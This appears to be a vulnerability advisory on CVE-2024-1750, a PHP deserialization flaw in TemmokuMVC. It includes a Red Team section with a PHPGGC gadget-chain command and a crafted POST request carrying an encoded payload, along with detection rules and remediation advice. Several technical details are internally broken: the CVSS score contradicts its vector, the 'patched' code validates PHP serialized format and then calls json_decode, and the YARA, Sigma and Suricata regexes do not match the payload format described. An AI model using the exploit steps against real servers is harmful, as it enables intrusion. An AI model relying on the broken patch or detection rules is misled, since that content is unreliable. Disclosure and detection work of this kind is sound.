CVE-2024-1750

Executive Summary

CVE-2024-1750 is a critical deserialization vulnerability in TemmokuMVC up to version 2.3, specifically within the get_img_url and img_replace functions of the lib/images_get_down.php library. The vulnerability allows remote attackers to trigger unsafe deserialization of user-supplied data, potentially leading to remote code execution (RCE) or arbitrary object instantiation. Although the attack complexity is high and exploitability is considered difficult, a public proof-of-concept (PoC) has been disclosed, increasing the risk of targeted exploitation. The vendor has not responded to disclosure attempts, leaving the software unpatched. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.

Supply Chain & Package Security

TemmokuMVC is a PHP-based MVC framework. The vulnerable component is part of the core library, meaning any application using TemmokuMVC up to version 2.3 is affected. Since no official package manager (e.g., Packagist) is involved, supply chain risk is limited to direct inclusion of the framework in projects. However, the lack of a patch means all deployments remain vulnerable.

CVSS Breakdown & Threat Level

• CVSS Score: 5.6 (Medium)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: High (AC:H) – requires specific conditions or chaining with other weaknesses.
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Medium. Despite the high impact, the high complexity reduces the likelihood of widespread exploitation. However, the public PoC and lack of patch elevate the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the image download handler of TemmokuMVC. The functions get_img_url and img_replace in lib/images_get_down.php process user-supplied data without proper sanitization before passing it to PHP’s unserialize() function. Deserialization of untrusted data can lead to the instantiation of arbitrary PHP objects, which may trigger magic methods (e.g., __wakeup(), __destruct()) to execute malicious code.

Attack Flow:

1. An attacker sends a crafted HTTP request containing a serialized PHP object in a parameter (e.g., img_url or similar).
2. The vulnerable function calls unserialize() on the attacker-controlled data.
3. The deserialized object triggers a gadget chain (if available in the application or its dependencies) to achieve RCE or other malicious outcomes.

Root Cause: Lack of input validation and use of unserialize() on user-controlled data without integrity checks (e.g., HMAC or allowed classes whitelist).

Vulnerable vs. Patched Code

Since no patch exists, the vulnerable code is the only reference. Below is a conceptual representation of the vulnerable pattern:

Vulnerable Code (lib/images_get_down.php):

function get_img_url($data) {
    // ... some processing ...
    $img_data = unserialize($data); // Unsafe deserialization
    // ... further processing ...
}

function img_replace($data) {
    // ... similar pattern ...
    $img_data = unserialize($data);
}

Patched Code (Hypothetical):

function get_img_url($data) {
    // Validate input format
    if (!is_string($data) || !preg_match('/^a:\d+:{.*}$/', $data)) {
        return false;
    }
    // Use json_decode instead of unserialize
    $img_data = json_decode($data, true);
    if (json_last_error() !== JSON_ERROR_NONE) {
        return false;
    }
    // ... further processing ...
}

The patch would replace unserialize() with json_decode() or implement strict class whitelisting and integrity checks.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a TemmokuMVC instance (version ≤ 2.3).
• Knowledge of a gadget chain in the application’s dependencies (e.g., Monolog, Guzzle, or custom classes).

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /index.php?controller=image&action=download).
2. Craft a serialized PHP object using a known gadget chain (e.g., PHPGGC for common libraries).
3. Send the payload via a POST or GET parameter (e.g., img_url).
4. Trigger the deserialization by accessing the vulnerable function.

Example Payload (using PHPGGC for Monolog):

phpggc Monolog/RCE1 system 'id' | base64

Then send:

POST /index.php?controller=image&action=download HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

img_url=Tzo0NzoiTW9ub2xvZ1xIYW5kbGVyXFN5c3RlbUhhbmRsZXIiOjE6e3M6OToiAHMAeQBzAHQAZQBtAEgAYQBuAGQAbABlAHIAIgA7czo1MDoiY21kIjt9

Note: The exact parameter name and endpoint may vary. Use fuzzing to discover the correct input vector.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual serialized PHP objects in HTTP requests (e.g., base64-encoded strings starting with Tz or a:).
• Deploy WAF rules to block requests containing unserialize or suspicious serialized data patterns.
• Enable PHP’s unserialize() allowed classes whitelist if possible.

Honeypot:

• Deploy a decoy TemmokuMVC instance to capture exploitation attempts.
• Log all unserialize() calls and inspect for unexpected class instantiation.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing base64-encoded serialized PHP objects (e.g., Tzo0NzoiTW9ub2xvZ1xIYW5kbGVyXFN5c3RlbUhhbmRsZXIi...).
  • Unusual parameters like img_url, img_data, or image with long base64 strings.
• File System:
  • Unexpected files in web-accessible directories (e.g., shell.php, backdoor.php).
  • Modified or new files in lib/ or cache/ directories.
• Process:
  • PHP processes executing unusual commands (e.g., id, whoami, nc).
• Logs:
  • PHP error logs showing unserialize() errors or unexpected class loading.
  • Web server access logs with suspicious POST requests to image download endpoints.

Detection Engineering

YARA Rule

rule CVE_2024_1750_Deserialization {
    meta:
        description = "Detects serialized PHP objects in HTTP requests targeting TemmokuMVC"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1750"
    strings:
        $serialized = /Tz\d+:/  // Matches PHP serialized object format
        $img_param = /img_url|img_data|image/
    condition:
        $serialized and $img_param
}

Sigma Rule

title: CVE-2024-1750 TemmokuMVC Deserialization Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests containing serialized PHP objects targeting TemmokuMVC image download handler
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'img_url'
            - 'img_data'
            - 'image'
        cs-uri-query|re: 'Tz\d+:'
    condition: selection
falsepositives:
    - Legitimate use of serialized data (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1750 TemmokuMVC Deserialization Attempt"; flow:to_server; content:"POST"; http_method; content:"img_url"; http_uri; pcre:"/Tz\d+:/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable component: Remove or rename lib/images_get_down.php if not essential.
2. Input validation: Implement strict validation on all parameters passed to image download functions.
3. Replace unserialize(): Use json_decode() or serialize() with integrity checks (e.g., HMAC).
4. Web Application Firewall (WAF): Deploy rules to block serialized PHP objects in requests.

Long-Term Fix:

• Migrate to a maintained framework or apply a custom patch (see Vulnerable vs. Patched Code section).
• Monitor vendor channels for any future updates.

Workaround:

• Restrict access to the image download handler via .htaccess or IP whitelisting.

Valters IT